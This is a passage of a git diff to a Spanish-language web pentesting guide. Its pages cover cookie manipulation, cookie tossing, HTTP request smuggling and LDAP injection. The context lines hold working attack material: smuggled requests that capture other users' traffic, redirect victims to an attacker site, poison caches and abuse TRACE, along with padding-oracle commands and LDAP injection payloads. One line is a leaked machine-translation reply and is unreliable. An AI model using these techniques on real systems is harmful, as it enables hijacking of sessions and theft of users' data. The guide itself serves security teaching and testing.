@@ -137,7 +137,7 @@ Los JSON Web Tokens (JWT) utilizados en cookies también pueden presentar vulner ### Cross-Site Request Forgery (CSRF) -Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que está actualmente autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable. +Este ataque obliga a un usuario autenticado a ejecutar acciones no deseadas en una aplicación web en la que actualmente está autenticado. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable. ### Cookies Vacías @@ -165,9 +165,9 @@ document.cookie = "\ud800=meep" ``` Esto resulta en que `document.cookie` devuelve una cadena vacía, lo que indica una corrupción permanente. -#### Robo de Cookies Debido a Problemas de Análisis +#### Cookie Smuggling Debido a Problemas de Análisis -(Revisa más detalles en la[original research](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las +(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye puntos y comas, que normalmente deberían separar pares clave-valor: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -214,14 +214,14 @@ Consulta la sección anterior. Este análisis indica desescapar los valores escapados dentro de las cookies, por lo que "\a" se convierte en "a". Esto puede ser útil para eludir WAFS ya que: -- `eval('test') => prohibido` -- `"\e\v\a\l\(\'\t\e\s\t\'\)" => permitido` +- `eval('test') => forbidden` +- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed` #### Bypass de listas de bloqueo de nombres de cookies En el RFC2109 se indica que se puede usar una **coma como separador entre los valores de las cookies**. Y también es posible agregar **espacios y tabulaciones antes y después del signo igual**. Por lo tanto, una cookie como `$Version=1; foo=bar, abc = qux` no genera la cookie `"foo":"bar, admin = qux"` sino las cookies `foo":"bar"` y `"admin":"qux"`. Observa cómo se generan 2 cookies y cómo se eliminó el espacio antes y después del signo igual. -#### Análisis de bypass de valor con división de cookies +#### Bypass de análisis de valor con división de cookies Finalmente, diferentes puertas traseras se unirían en una cadena diferentes cookies pasadas en diferentes encabezados de cookies como en: ``` @@ -255,7 +255,7 @@ Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente - Intentar crear muchas **cuentas** con nombres de usuario muy **similares** y tratar de **adivinar** cómo está funcionando el algoritmo. - Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**". -- Intenta **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**. +- Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**. **Padding Oracle - Ejemplos de Padbuster** ```bash @@ -279,7 +279,7 @@ Esta ejecución te dará la cookie correctamente cifrada y codificada con la cad **CBC-MAC** -Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable. +Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada utilizando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable. **El ataque** @@ -289,7 +289,7 @@ Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. **ECB** -Si la cookie está cifrada usando ECB podría ser vulnerable.\ +Si la cookie está cifrada usando ECB, podría ser vulnerable.\ Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma. **Cómo detectar y atacar:** diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index ca67e53aa..f7019d34d 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -15,9 +15,9 @@ Esto puede ser peligroso ya que el atacante podría: - **Fijar la cookie de la víctima a la cuenta del atacante** para que si el usuario no se da cuenta, **realice las acciones en la cuenta del atacante** y el atacante pueda obtener información interesante (ver el historial de búsquedas del usuario en la plataforma, la víctima puede configurar su tarjeta de crédito en la cuenta...) - Un ejemplo de esto [se puede encontrar aquí](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) donde el atacante establece su cookie en secciones específicas que una víctima usará para autorizar **acceso a sus repositorios de git pero desde la cuenta del atacante** ya que estará configurando sus cookies en los endpoints necesarios. -- Si la **cookie no cambia después del inicio de sesión**, el atacante puede simplemente **fijar una cookie (session-fixation)**, esperar a que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**. +- Si la **cookie no cambia después del inicio de sesión**, el atacante podría **fijar una cookie (session-fixation)**, esperar a que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**. - A veces, incluso si las cookies de sesión cambian, el atacante usa la anterior y también recibirá la nueva. -- Si la **cookie está configurando algún valor inicial** (como en flask donde la **cookie** puede **configurar** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante puede hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF). +- Si la **cookie establece algún valor inicial** (como en flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante podría hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF). - Al igual que establecer el valor, el atacante también podría obtener una cookie no autenticada generada por el servidor, obtener el token CSRF de ella y usarlo. ### Orden de Cookies @@ -26,7 +26,7 @@ Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialme Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor configurarla antes de que se establezca otra o configurarla con una ruta más específica. +La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica. > [!WARNING] > Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde la cookie maliciosa establecida será enviada primero**. @@ -35,7 +35,7 @@ La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero dos valores diferentes**. -Para eludir el escenario donde el atacante está configurando una cookie después de que la víctima ya recibió la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que la **cookie legítima sea eliminada, establecer la maliciosa**. +Para eludir el escenario donde el atacante está estableciendo una cookie después de que la víctima ya recibió la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que la **cookie legítima sea eliminada, establecer la maliciosa**. {{#ref}} cookie-jar-overflow.md diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 4d8185ed3..1ffa389c4 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -9,7 +9,7 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid ### Teoría -[**Especificación RFC (2161)**](https://tools.ietf.org/html/rfc2616) +[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) > Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado. @@ -24,7 +24,7 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid ### Realidad -El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\ +El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\ Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**. ### Particularidades @@ -32,15 +32,15 @@ Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:** - **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**. -- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0` +- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0` - **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling. ## Ejemplos Básicos > [!TIP] -> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y content-lengths malformados. +> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y longitudes de contenido malformadas. -Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos. +Los ataques de HTTP request smuggling se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos. ### Ejemplos Básicos de Tipos de Vulnerabilidad @@ -104,12 +104,12 @@ x= #### Vulnerabilidad TE.TE (Transfer-Encoding usado por ambos, con ofuscación) -- **Servidores:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo a través de ofuscación. +- **Servidores:** Ambos soportan `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo a través de la ofuscación. - **Escenario de Ataque:** - El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados. - Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL. -- La parte no procesada de la solicitud, como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling. +- La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling. - **Ejemplo:** ``` @@ -147,7 +147,7 @@ Normal Request #### **Escenario CL.0** - Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor diferente de cero, indicando que el cuerpo de la solicitud tiene contenido. El back-end ignora el encabezado `Content-Length` (que se trata como 0), pero el front-end lo analiza. -- Es crucial para entender y elaborar ataques de smuggling, ya que influye en cómo los servidores determinan el final de una solicitud. +- Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una solicitud. - **Ejemplo:** ``` @@ -185,7 +185,7 @@ EMPTY_LINE_HERE Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado como la **siguiente solicitud HTTP**. -Por ejemplo, como se explica en [**este informe**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos **caracteres Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**. +Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos **caracteres Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**. #### Forzando a través de encabezados hop-by-hop @@ -199,11 +199,11 @@ Para **más información sobre los encabezados hop-by-hop** visita: ../abusing-hop-by-hop-headers.md {{#endref}} -## Encontrar HTTP Request Smuggling +## Encontrando HTTP Request Smuggling Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr utilizando técnicas de temporización, que se basan en observar cuánto tiempo tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, hay otras estrategias y herramientas que se pueden utilizar para encontrar tales vulnerabilidades: -### Encontrar Vulnerabilidades CL.TE Usando Técnicas de Temporización +### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporización - **Método:** @@ -223,14 +223,14 @@ A ``` - **Observación:** -- El servidor frontal procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente. +- El servidor de front-end procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente. - El servidor de back-end, esperando un mensaje en trozos, espera el siguiente trozo que nunca llega, causando un retraso. - **Indicadores:** - Timeouts o largos retrasos en la respuesta. - Recibir un error 400 Bad Request del servidor de back-end, a veces con información detallada del servidor. -### Encontrar Vulnerabilidades TE.CL Usando Técnicas de Temporización +### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporización - **Método:** @@ -249,7 +249,7 @@ X ``` - **Observación:** -- El servidor frontal procesa la solicitud en función de `Transfer-Encoding` y reenvía todo el mensaje. +- El servidor de front-end procesa la solicitud en función de `Transfer-Encoding` y reenvía todo el mensaje. - El servidor de back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso. ### Otros Métodos para Encontrar Vulnerabilidades @@ -259,9 +259,9 @@ X - **Uso de Herramientas Automatizadas:** - Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando varias formas de solicitudes ambiguas y analizando las respuestas. - **Pruebas de Variación de Content-Length:** -- Envía solicitudes con valores de `Content-Length` variables que no están alineados con la longitud real del contenido y observa cómo maneja el servidor tales desajustes. +- Envía solicitudes con valores de `Content-Length` variados que no están alineados con la longitud real del contenido y observa cómo maneja el servidor tales desajustes. - **Pruebas de Variación de Transfer-Encoding:** -- Envía solicitudes con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de manera diferente los servidores frontal y de back-end a tales manipulaciones. +- Envía solicitudes con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de manera diferente los servidores de front-end y back-end a tales manipulaciones. ### Pruebas de Vulnerabilidad de HTTP Request Smuggling @@ -274,10 +274,10 @@ Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitu - **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad. - **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso. - **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad. -- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad. +- **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad. - **Impacto No Intencionado en Usuarios:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso. -## Distinguir artefactos de pipelining de HTTP/1.1 vs smuggling de solicitudes genuino +## Distinguiendo artefactos de pipelining de HTTP/1.1 vs smuggling genuino La reutilización de conexiones (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes en el mismo socket. Aprende a separar artefactos inofensivos del lado del cliente de la verdadera desincronización del lado del servidor. @@ -338,7 +338,7 @@ Impacto: ninguno. Solo desincronizaste tu cliente del marco del servidor. - Consulta PortSwigger "Browser‑Powered Desync Attacks" para la técnica bloqueada por conexión. 4. Sondeos de estado - Busca diferencias entre la primera y las solicitudes subsiguientes en la misma conexión TCP (enrutamiento/validación de la primera solicitud). -- Burp "HTTP Request Smuggler" incluye un sondeo de estado de conexión que automatiza esto. +- Burp "HTTP Request Smuggler" incluye una sonda de estado de conexión que automatiza esto. 5. Visualiza el cable - Usa la extensión Burp "HTTP Hacker" para inspeccionar la concatenación y el enmarcado de mensajes directamente mientras experimentas con la reutilización y las solicitudes parciales. @@ -352,7 +352,7 @@ Algunos front-ends solo reutilizan la conexión ascendente cuando el cliente reu - Envenenamiento de caché: envenena cachés compartidos a través de la desincronización para que las respuestas afecten a otros usuarios. - Divulgación de encabezados internos: refleja encabezados inyectados por el FE (por ejemplo, encabezados de autenticación/confianza) y pivota hacia el bypass de autenticación. - Eludir controles del FE: smuggle rutas/métodos restringidos más allá del front-end. -- Abuso de encabezado de host: combina con peculiaridades de enrutamiento de host para pivotar a vhosts internos. +- Abuso de encabezado de host: combina con peculiaridades de enrutamiento de host para pivotar hacia vhosts internos. - Flujo de trabajo del operador - Reproduce con reutilización controlada (Turbo Intruder `requestsPerConnection=2`, o grupo de pestañas de Burp Repeater → "Enviar grupo en secuencia (conexión única)"). - Luego encadena a primitivas de envenenamiento de caché/divulgación de encabezados/bypass de control y demuestra impacto entre usuarios o de autorización. @@ -378,7 +378,7 @@ browser-http-request-smuggling.md - HTTP Hacker (Burp BApp Store): expone el comportamiento HTTP de bajo nivel y la concatenación de sockets. - "¿Smuggling o pipelining?" Acción personalizada de Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda - Turbo Intruder: control preciso sobre la reutilización de conexiones a través de `requestsPerConnection`. -- Burp HTTP Request Smuggler: incluye un sondeo de estado de conexión para detectar enrutamiento/validación de la primera solicitud. +- Burp HTTP Request Smuggler: incluye una sonda de estado de conexión para detectar enrutamiento/validación de la primera solicitud. > [!NOTE] > Trata los efectos solo de reutilización como no problemas a menos que puedas probar la desincronización del lado del servidor y adjuntar un impacto concreto (artefacto de caché envenenado, encabezado interno filtrado que permite el bypass de privilegios, control del FE eludido, etc.). @@ -459,7 +459,7 @@ Este método sirve principalmente para entender las modificaciones de la solicit ### Capturando las solicitudes de otros usuarios -Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Así es como se puede lograr: +Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Aquí se explica cómo se puede lograr: Al añadir la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente: ``` @@ -521,7 +521,7 @@ Este payload está estructurado para explotar la vulnerabilidad mediante: 2. Siguiendo con un `0`, marcando el final del cuerpo del mensaje en chunks. 3. Luego, se introduce una solicitud `GET` smuggled, donde el encabezado `User-Agent` se inyecta con un script, ``, activando el XSS cuando el servidor procesa esta solicitud subsiguiente. -Al manipular el `User-Agent` a través del smuggling, el payload elude las restricciones normales de solicitud, explotando así la vulnerabilidad de XSS Reflejado de una manera no estándar pero efectiva. +Al manipular el `User-Agent` a través del smuggling, el payload elude las restricciones normales de la solicitud, explotando así la vulnerabilidad de XSS Reflejado de una manera no estándar pero efectiva. #### HTTP/0.9 @@ -530,7 +530,7 @@ Al manipular el `User-Agent` a través del smuggling, el payload elude las restr La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo. -En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **endpoint vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`. +En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **punto final vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`. ### Explotando redirecciones en el sitio con HTTP Request Smuggling @@ -558,7 +558,7 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -Esta solicitud encubierta podría hacer que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante: +Esta solicitud encubierta podría hacer que la próxima solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante: ``` GET /home HTTP/1.1 Host: attacker-website.com @@ -570,11 +570,11 @@ Resultados en: HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` -En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta. +En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta. ### Explotación de la contaminación de caché web a través de HTTP Request Smuggling -La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura del front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**. +La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**. Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS). @@ -598,20 +598,20 @@ Content-Length: 10 x=1 ``` -Note el request incrustado que apunta a `/post/next?postId=3`. Este request será redirigido a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir el request a su dominio (**redirección en el sitio a redirección abierta**). +Nota la solicitud incrustada que apunta a `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4`, utilizando el **valor del encabezado Host** para determinar el dominio. Al alterar el **encabezado Host**, el atacante puede redirigir la solicitud a su dominio (**redirección en el sitio a redirección abierta**). -Después de un exitoso **envenenamiento de socket**, se debe iniciar un **request GET** para `/static/include.js`. Este request será contaminado por el anterior request de **redirección en el sitio a redirección abierta** y obtendrá el contenido del script controlado por el atacante. +Después de un exitoso **envenenamiento de socket**, se debe iniciar una **solicitud GET** para `/static/include.js`. Esta solicitud será contaminada por la anterior solicitud de **redirección en el sitio a redirección abierta** y obtendrá el contenido del script controlado por el atacante. -Posteriormente, cualquier request para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS. +Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS. -### Usando el HTTP request smuggling para realizar engaño de caché web +### Usando el envenenamiento de solicitudes HTTP para realizar engaño de caché web > **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?** > > - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación. > - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché. -El atacante elabora un request smuggled que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo: +El atacante elabora una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -622,7 +622,7 @@ El atacante elabora un request smuggled que obtiene contenido sensible específi `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -Si esta solicitud encubierta envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían ser almacenados en caché bajo la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché. +Si esta solicitud contrabandeada envenena una entrada de caché destinada a contenido estático (por ejemplo, `/someimage.png`), los datos sensibles de la víctima de `/private/messages` podrían ser almacenados en caché bajo la entrada de caché del contenido estático. En consecuencia, el atacante podría potencialmente recuperar estos datos sensibles almacenados en caché. ### Abusando de TRACE a través de HTTP Request Smuggling @@ -632,7 +632,7 @@ TRACE / HTTP/1.1 Host: example.com XSS: ``` -I'm ready to assist you with the translation. Please provide the text you would like me to translate. +Please provide the text you would like me to translate. ``` HTTP/1.1 200 OK Content-Type: message/http @@ -647,11 +647,11 @@ Un ejemplo de cómo abusar de este comportamiento sería **introducir primero un Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\ Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**. -### Abusando de TRACE a través de la División de Respuestas HTTP +### Abusando de TRACE a través de la división de respuestas HTTP Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE, es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE. -Por lo tanto, la nueva idea sería que, conociendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría usarse para realizar un envenenamiento de caché). +Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché). Ejemplo: ``` diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index a9d7bc1df..e12183a57 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -1,7 +1,5 @@ # LDAP Injection -## LDAP Injection - {{#include ../banners/hacktricks-training.md}} ## LDAP Injection @@ -10,6 +8,7 @@ **Si quieres saber qué es LDAP, accede a la siguiente página:** + {{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}} @@ -133,7 +132,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### Volcar datos +#### Dump data Puedes 